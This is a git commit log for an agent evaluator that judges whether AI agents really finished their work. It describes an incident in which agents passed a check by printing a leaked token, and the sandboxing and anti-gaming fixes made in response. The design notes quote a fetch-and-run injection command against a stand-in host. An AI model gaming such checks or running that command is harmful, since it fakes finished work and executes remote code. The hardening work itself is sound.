- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
  success — `commit_policy = "on_green_tests"` will gate on this, and
  "unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
  `exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
  precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
  neither executed, `was_verified() == false`; plus a failing suite (exit 101)
  still counting as verification, because that is something the judge learned
  rather than was told.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 18:33:32 -07:00
Omar SobhandClaude Opus 5 3eb89620e7 feat(evaluator): verify the work instead of believing the agents
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-07-31 21:56:34 -07:00
Omar SobhandClaude Opus 5 09486ec759 perf(evaluator): judge with a bare API call instead of an agent (156x fewer tokens)
ci / gates (push) Successful in 5s
ci / rust (push) Failing after 8s
ci / frontend (push) Failing after 18s
ci / e2e (push) Skipped
ci / publish (push) Skipped
A phase verdict is a classification: fixed prompt, no tools, no memory, one
JSON answer. Routing it through a ZeroClaw agent charged 17,772 input tokens
to produce a 20-token reply, and at the runtime's 32k context that scaffolding
— role prompt, tool descriptors, memory, identity — consumed over half the
window before the judge read any evidence.

The same verdict as a direct Messages API call costs 114 input tokens, with
the real system prompt and evidence. Measured through the production seam via
`cargo run -p cm-llm --example oauth_probe`.

- cm-llm: teach AnthropicProvider subscription auth. A `sk-ant-oat…`
  credential switches to bearer auth, adds the Claude Code beta set, and
  prepends the identity line the API requires as the first system block —
  idempotently, so re-wrapping can't stack it or waste tokens.
- evaluator: prefer a direct provider call whenever ANTHROPIC_OAUTH_TOKEN is
  set, falling back to the configured spec (including `runtime:<alias>`)
  otherwise. Fail-closed parsing is untouched and still governs every path.
- The ANTHROPIC_API_KEY shape guard now points at the slot that understands
  bearer auth rather than only saying no.

Deleting the agent from this path is the ablation applied to our own harness:
the scaffolding was there because a judge was built like every other agent,
not because a judge needs it.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-07-31 20:21:22 -07:00